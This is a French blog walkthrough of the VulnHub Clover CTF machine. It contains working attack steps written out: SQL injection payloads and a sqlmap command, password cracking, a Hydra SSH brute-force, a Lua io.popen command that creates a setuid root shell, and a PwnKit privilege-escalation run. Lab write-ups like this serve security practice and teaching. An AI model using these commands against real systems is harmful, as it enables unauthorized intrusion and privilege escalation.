Accueil Solution du CTF Clover de VulnHub
Post
Annuler

Solution du CTF Clover de VulnHub

Clover est un CTF signé 0xJin & 0xBushido et disponible sur VulnHub. On peut regréter que l’image virtuelle pèse 2.4Go, il faut dire qu’elle fait tourner le gestionnaire de fenêtres Gnome qui est bien sûr inutile pour un tel challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Nmap scan report for 192.168.56.99
Host is up (0.00033s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT     STATE  SERVICE    VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp        vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Mar 26  2021 maintenance
22/tcp   open   ssh        OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 bca7bf7f23835508f7d19a9246c6ad2d (DSA)
|   2048 96bdc2571c917b0ab9495e7fd137a665 (RSA)
|   256 b9d99d58b85c61f236d9b214e8003c05 (ECDSA)
|_  256 242965286efa076af16bfa07a0131bb6 (ED25519)
80/tcp   open   http       Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 3 disallowed entries 
|_/admin /root /webmaster
110/tcp  closed pop3
443/tcp  closed https
5781/tcp closed 3par-evts
8080/tcp closed http-proxy

On ne trouve rien d’intéressant sur le FTP : 3 fichiers texte sans intérêt. On ne dispose pas de droits en écriture ni sur les dossiers ni sur les fichiers et on ne peut pas remonter l’arboresence.

Danny Clover

Les autres ports étant fermés il ne reste que le port 80 qui semble intéressant.

Aucun des dossiers mentionné dans le robots.txt n’existe mais feroxbuster retrouve différents dossiers présents sur le serveur :

1
2
3
4
5
6
7
8
9
10
11
12
301        9l       28w      319c http://192.168.56.99/javascript
301        9l       28w      319c http://192.168.56.99/phpmyadmin
301        9l       28w      324c http://192.168.56.99/phpmyadmin/docs
301        9l       28w      329c http://192.168.56.99/phpmyadmin/docs/html
301        9l       28w      314c http://192.168.56.99/CFIDE
301        9l       28w      316c http://192.168.56.99/website
301        9l       28w      323c http://192.168.56.99/website/images
301        9l       28w      324c http://192.168.56.99/website/scripts
200        1l        2w       10c http://192.168.56.99/status
301        9l       28w      323c http://192.168.56.99/website/styles
403        9l       28w      278c http://192.168.56.99/phpmyadmin/libraries
301        9l       28w      326c http://192.168.56.99/phpmyadmin/themes

Dans CFIDE on trouve un dossier Administrator car le listing est activé. On est alors face à une page web dans laquelle je finis par remarquer le commentaire HTML suivant :

1
<!-- Please Disable: /login.php this page doesn't exist, disable test login form.-->      

Le script en question existe bien et est vulnérable à une injection SQL. En effet si je saisis le nom d’utilisateur admin et le mot de passe ' or '1'='1 le script m’indique que je suis connecté.

Aucun lien n’est présent dans la page, le script a visiblement comme seul intérêt d’être vulnérable. On va se servir de sqlmap pour essayer d’extraire de la base des données des informations utiles pour la suite du CTF.

1
python sqlmap.py -u "http://192.168.56.99/CFIDE/Administrator/login.php" --dbms mysql --data "uname=admin&pswd=123456" --risk 3 --level 5

Les deux paramètres sont vulnérables :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sqlmap identified the following injection point(s) with a total of 721 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-6282' OR 3655=3655-- oYbk&pswd=123456

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin' AND (SELECT 8104 FROM (SELECT(SLEEP(5)))DJsB)-- RDqi&pswd=123456

Parameter: pswd (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=admin&pswd=-4249' OR 5766=5766-- lBSE

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin&pswd=123456' AND (SELECT 5948 FROM (SELECT(SLEEP(5)))CLdE)-- eYHt
---

Je peux utiliser l’option --passwords de sqlmap qui me retourne le hash de l’utilisateur root :

1
2
[*] root [1]:
    password hash: *EE2227E76B10DEA20C821828D6885879FF245EF6

Le mot de passe (astaasta) est facilement cassé avec https://crackstation.net/

On découvre aussi une base de données nommée clover qui a la table users suivante :

1
2
3
4
5
6
7
8
9
10
Database: clover
Table: users
[3 entries]
+----+-----------+----------------------------------+
| id | username  | password                         |
+----+-----------+----------------------------------+
| 1  | 0xBush1do | 33a41c7507cy5031d9tref6fdb31880c |
| 2  | asta      | 69a41c7507ad7031d9decf6fdb31810c |
| 3  | 0xJin     | 92ift37507ad7031d9decf98setf4w0c |
+----+-----------+----------------------------------+

Seul asta dispose d’un hash MD5 valide, les autres contiennent des caractères y et t.

Il y a peu de sites de reverse MD5 qui ont le hash dans leur base mais je finis par en trouver un qui l’a. Le mot de passe en clair est asta$$123.

On peut se connecter en SSH et accéder au premier flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
asta@Clover:~$ cat local.txt 



                                |     |
                                \\_V_//
                                \/=|=\/
       Asta PWN!                 [=v=]
                               __\___/_____
                              /..[  _____  ]
                             /_  [ [  M /] ]
                            /../.[ [ M /@] ]
                           <-->[_[ [M /@/] ]
                          /../ [.[ [ /@/ ] ]
     _________________]\ /__/  [_[ [/@/ C] ]
    <_________________>>0---]  [=\ \@/ C / /
       ___      ___   ]/000o   /__\ \ C / /
          \    /              /....\ \_/ /
       ....\||/....           [___/=\___/
      .    .  .    .          [...] [...]
     .      ..      .         [___/ \___]
     .    0 .. 0    .         <---> <--->
  /\/\.    .  .    ./\/\      [..]   [..]
 / / / .../|  |\... \ \ \    _[__]   [__]_
/ / /       \/       \ \ \  [____>   <____]



34f35ca9ea7febe859be7715b707d684

Une énumération locale via LinPEAS remonte quelques vulnérabilités classiques telles Dirty COW et Sudo Baron Samedit.

Toutefois les exploits Dirty COW ne semblent pas aboutir (sans doute le système est patché) et pour la faille sudo on est géné par le fait que le binaire python utile à l’exploit a été mis en accès pour root uniquement.

Heureusement je disposais d’une autre VM avec le même système (Debian 8, 64bits) et j’ai pu copier python mais finalement le système n’était pas non plus vulnérable.

A noter que gcc est aussi absent de la VM donc il faut compiler en static pour copier les binaires pour exploiter telle ou telle vulnérabilité (voir plus loin pour PwnKit)

Harry Clover

Mais le CTF a en réalité un cheminement officiel sans exploits qui était un peu difficile à trouver.

Il y a un fichier de backup concernant l’utilisateur sword mais le propriétaire du fichier ne correspondait pas à cet utilisateur (donc un find spécifique ne le retournait pas) :

1
2
3
4
5
6
7
8
9
10
11
asta@Clover:/tmp$ ls /var/backups/reminder/ -al
total 12
drwxr-xr-x 2 root root 4096 Mar 27  2021 .
drwxr-xr-x 3 root root 4096 Feb 14 03:07 ..
-rw-r--r-- 1 root root  144 Mar 27  2021 passwd.sword
asta@Clover:/tmp$ cat /var/backups/reminder/passwd.sword
Oh well, this is a reminder for Sword's password. I just remember this:

passwd sword: P4SsW0rD**** 

I forgot the last four numerical digits!

On génère une wordlist correspondant à ces cas :

1
2
3
4
with open("passwords.txt", "w") as fd:
    for i in range(0, 10000):
        password = f"P4SsW0rD{i:04}"
        print(password, file=fd)

Et on lance Hydra sur le service SSH :

1
hydra -l sword -P /tmp/passwords.txt ssh://192.168.56.99

Après 40 minutes on obtient le mot de passe :

1
[22][ssh] host: 192.168.56.99   login: sword   password: P4SsW0rD4286

L’utilisateur dispose d’un flag lui aussi :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sword@Clover:~$ cat local2.txt 





     /\
    // \
    || |
    || |
    || |      Sword PWN!
    || |
    || |
    || |
 __ || | __
/___||_|___\
     ww
     MM
    _MM_
   (&<>&)
    ~~~~




e63a186943f8c1258cd1afde7722fbb4

On peut relancer LinPEAS ou fouiller par nous même les fichiers appartenant à root et qui sont écrivables :

1
2
sword@Clover:~$ find / -type f -writable -user root 2> /dev/null | grep -v /proc | grep -v /sys
/usr/games/clover/deamon.sh

Si LinPEAS n’a pas remarqué le fichier précédemment c’est parce que le dossier où il se trouve n’est accessible que par l’utilisateur sword.

Il s’avère que le fichier daemon.sh est un binaire ELF et dispose du bit setuid root. Ce serait donc domage de l’écraser (il perdrait le bit setuid).

À l’exécution on découvre aussi qu’il s’agit de l’interpréteur Lua. J’ai repris la technique d’exécution que j’avais croisé sur le CTF Nebula.

1
2
3
4
5
6
7
8
9
sword@Clover:~$ /usr/games/clover/deamon.sh
Lua 5.2.3  Copyright (C) 1994-2013 Lua.org, PUC-Rio
> prog = io.popen("id")
> data = prog:read("*all")
> prog:close()
> print(data)
uid=1001(sword) gid=1001(sword) euid=0(root) groups=1001(sword)

> prog = io.popen("cp /bin/dash /tmp/shell;chown root:root /tmp/shell;chmod 4755 /tmp/shell")

On obtient alors un shell setuid root à /tmp/shell.

Kansas City Shuffle

L’autre technique consiste à utiliser l’exploit PwnKit. Il faut disposer d’une certaine version de la libc pour que l’exploit fonctionne donc compiler même en statique sur une machine plus récente échouera.

Heureusement comme dis plus tôt je disposais d’une VM équivalente. A vrai dire j’avais même l’exploit PwnKit déjà compilé dessus :)

GitHub - ly4k/PwnKit: Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
asta@Clover:/tmp$ ./PwnKit 
root@Clover:/tmp# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),118(bluetooth),1000(asta)
root@Clover:/tmp# cd /root
root@Clover:~# ls
proof.txt
root@Clover:~# cat proof.txt




             ________________________________________________
            /                                                \
           |    _________________________________________     |
           |   |                                         |    |
           |   |  # whoami                               |    |
           |   |  # root                                 |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |     Congratulations You PWN Clover!     |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |    974bd350558b912740f800a316c53afe     |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |                                         |    |
           |   |_________________________________________|    |
           |                                                  |
            \_________________________________________________/
                   \___________________________________/
                ___________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-------------------------. .-.---. .---.-.-.-.`-_
:-------------------------------------------------------------------------:
`---._.-------------------------------------------------------------._.---'



// From 0xJin && 0xBush1do! If you root this, tag me on Twitter! @0xJin and @0xBush1do

CTF plutôt bien ficelé. Le chemin officiel demandais un peu de recherche manuelle.

Publié le 14 février 2023

Cet article est sous licence CC BY 4.0 par l'auteur.